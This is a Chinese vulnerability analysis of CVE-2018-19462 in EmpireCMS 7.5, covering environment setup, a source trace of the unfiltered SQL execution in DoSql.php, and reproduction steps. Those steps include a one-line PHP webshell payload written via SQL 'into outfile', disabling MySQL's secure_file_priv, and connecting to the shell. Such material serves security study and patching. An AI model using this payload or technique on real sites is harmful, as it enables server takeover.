帝國CMS(EmpireCMS) v7.5 代碼注入分析(CVE-2018-19462)


帝國CMS(EmpireCMS) v7.5 代碼注入分析(CVE-2018-19462)

一、漏洞描述

EmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代碼注入漏洞。該漏洞源於外部輸入數據構造代碼段的過程中,網路系統或產品未正確過濾其中的特殊元素。攻擊者可利用該漏洞生成非法的代碼段,修改網絡系統或組件的預期的執行控制流。

二、影響版本

EmpireCMS<=7.5

三、環境搭建

1、官方下載EmpireCMS V7.5 下載地址:http://www.phome.net/download/

2、把下載的文件中的upload下的所有目錄和文件放入到網站根目錄下

3、修改php.ini配置文件, PHP環境中必須開啟短標簽,不然安裝會提示無法安裝

  

4、設置php.ini中 short_open_tag = On,重啟phpstudy

  

5、然后開始安裝,安裝過程參考: https://jingyan.baidu.com/article/48b37f8dcc014b1a6564887c.html

四、漏洞復現

1、漏洞出現的頁面如下

  

2、分析源碼定位漏洞出現的位置在/e/admin/db/DoSql.php,瀏覽代碼,對sqltext使用RepSqlTbpre函數進行處理

  

3、跟進RepSqlTbpre函數,發現僅僅對表的前綴做替換,沒有做其他任何處理

  

4、繼續瀏覽代碼,發現對$query使用DoRunQuery函數進行處理

  

5、跟進DoRunQuery函數,可以看到對$sql參數只做了去除空格、以”;”分隔然后遍歷,並你沒有做別的限制和過濾,導致可以執行惡意的sql語句

  

6、登錄后台,點擊如下,輸入一段寫shell的payload,payload內容如下:

select '<?php @eval($_POST[1])?>' into outfile 'C:/phpStudy/WWW/empirecms/shell.php'

  

7、點擊”執行SQL”,提示錯誤,是由於mysql安全限制的原因

  

8、修改mysql的配置文件, 在[mysqld] 下添加條目: secure_file_priv =,保存之后,然后重啟mysql

  

9、再次執行SQL語句,可以看到成功執行SQL語句

  

10、查看是否成功上傳shell

  

11、菜刀連接,成功getshell

  

 

 

-------------------------------------------------------------------------------------------------------------

參考: http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201906-306

     https://github.com/novysodope/empireCMS7.5/blob/master/getshell

  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM